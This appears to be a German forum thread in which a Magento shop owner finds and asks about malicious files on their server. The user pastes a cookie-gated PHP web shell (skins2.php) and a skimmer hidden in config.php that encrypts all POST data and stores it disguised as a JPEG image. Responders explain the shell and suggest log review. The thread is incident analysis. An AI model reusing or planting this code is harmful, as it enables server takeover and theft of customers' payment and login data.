Hallo,
ich habe in meiner Verzeichnisstruktur im Verzeichnis /skin/ eine Datei namens "skins2.php" gefunden, die mir komisch vorkommt und die in alten Sicherungen nicht vorhanden sind.
Inhalt dieser Datei:
<?php if(md5(@$_COOKIE[qz])=='6225263721ceb2dc9d67d1fe4e4eba5f') ($_=@$_REQUEST[q]).@$_($_REQUEST[z]); ?>
Kann mir jemand sagen, was diese Datei macht ?
Ich habe sie gelöscht und bin auf der Suche nach weiteren Unstimmigkeiten.
schau doch mal in deine access.log vom apache (wenn du apache nutzt) und durchsuch diese nach skins2.php, dann siehste du mit welchen Parametern der Angreifer die Datei gefüttert hat und hast mehr Infos was er vor hatte.
Hallo,
Das sieht für mich so aus als gäbe es noch mehr schadcode. Also noch andere dateien.
Wenn ich das richtig verstehe kann der Angreifer im Cookie einen Methodenaufruf absetzen. Vermutlich wird er allerdings keine Magento-internen Methoden aufrufen.
Schauen Sie doch ob es noch mehr ungeöhnliche Dateien gibt.
Dass cookie-Inhalte im accesslog gespeichert werden ist mir neu. Kann man das Konfigurieren?
Code genau lesen. Cookie wird nur genutzt um sich zu authen, danach ist es ein REQUEST was sowohl POST als auch GET Variablen interpretiert, was wiederum auch das ist, worauf ich hinaus will
Ich habe mir die access_log Datei angesehen und nichts gefunden.
Es wurden Änderungen in der .htaccess Datei vorgenommen, habe diese mit einer älteren Version verglichen.
Zwischendurch habe ich Sicherheitspatches eingespielt. Nehmen diese auch Änderungen in der .htaccess Datei vor ?
Folgendes wurde hinzugefügt:
###########################################
## Deny access to cron.php
<Files cron.php>
############################################
## uncomment next lines to enable cron access with base HTTP authorization
## http://httpd.apache.org/docs/2.2/howto/auth.html
##
## Warning: .htpasswd file should be placed somewhere not accessible from the web.
## This is so that folks cannot download the password file.
## For example, if your documents are served out of /usr/local/apache/htdocs
## you might want to put the password file(s) in /usr/local/apache/.
#AuthName "Cron auth"
#AuthUserFile ../.htpasswd
#AuthType basic
#Require valid-user
############################################
Order allow,deny
Deny from all
</Files>
Hallo,
ich habe noch etwas gefunden.
In der Datei /includes/config.php steht in der 1. Zeile ganz versteckt am Ende :
This source file is subject to the
Open Software License (OSL 3.0)* that is bundled with t
his package in the file LICENSE.txt.* It is also available
through the world-wide-web at this URL:*
http://opensource.org/licenses/osl-3.0.php**/$y0='./skin/adminhtml/default/default/images/fam_applic... PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----";if(@$_SERVER['HTTP_USER_AGENT']=='Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;bot@visvo.com)'){if(isset($_GET[$k2])){$m1=file_exists($y0)?@... 'clean ok';}else echo 'Pong';exit;}if(!empty($_SERVER['HTTP_CLIENT_IP'])){$i4=$_SERVER['HTTP_CLIENT_IP'];}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$i4=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$i4=@$_SERVER['REMOTE_ADDR'];}if(isset($_POST)&&sizeof($_POST)){$a5='';foreach($_POST as $h6=>$n7){if(is_array($n7)){foreach($n7 as $f8=>$l9){if(is_array($l9)){foreach($l9 as $l10=>$v11){if(is_array($v11)){;}else{$a5.=':'.$h6.'['.$f8.']['.$l10.']='.$v11;}}}else{$a5.=':'.$h6.'['.$f8.']='.$l9;}}}else{$a5.=':'.$h6.'='.$n7;}}$a5=$i4.$a5;}else{$a5=null;}if($a5){$t12=false;if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')){$t12=true;}elseif(function_exists('dl')){$n13=strtolower(substr(php_uname(),0,3));$d14='php_openssl.'.($n13=='win'?'dll':'so');@dl($d14);if(function_exists('openssl_get_publickey')&&function_exists('openssl_public_encrypt')&&function_exists('openssl_encrypt')){$t12=true;}}if($t12){$t15=@openssl_get_publickey($k3);$q16=128;$t17='';$h18=md5(md5(microtime()).rand());$e19=$h18;while($e19){$f20=substr($e19,0,$q16);$e19=substr($e19,$q16);@openssl_public_encrypt($f20,$h21,$t15);$t17.=$h21;}$t22=@openssl_encrypt($a5,'aes128',$h18);@openssl_free_key($t15);$a5=$t17.'::EP:::'.$t22;}$m1=file_exists($y0)?@filemtime($y0):$m1;@file_put_contents($y0,'JPEG-1.1'.base64_encode($a5),FILE_APPEND);@touch($y0,$m1,$m1);}?><?php
/**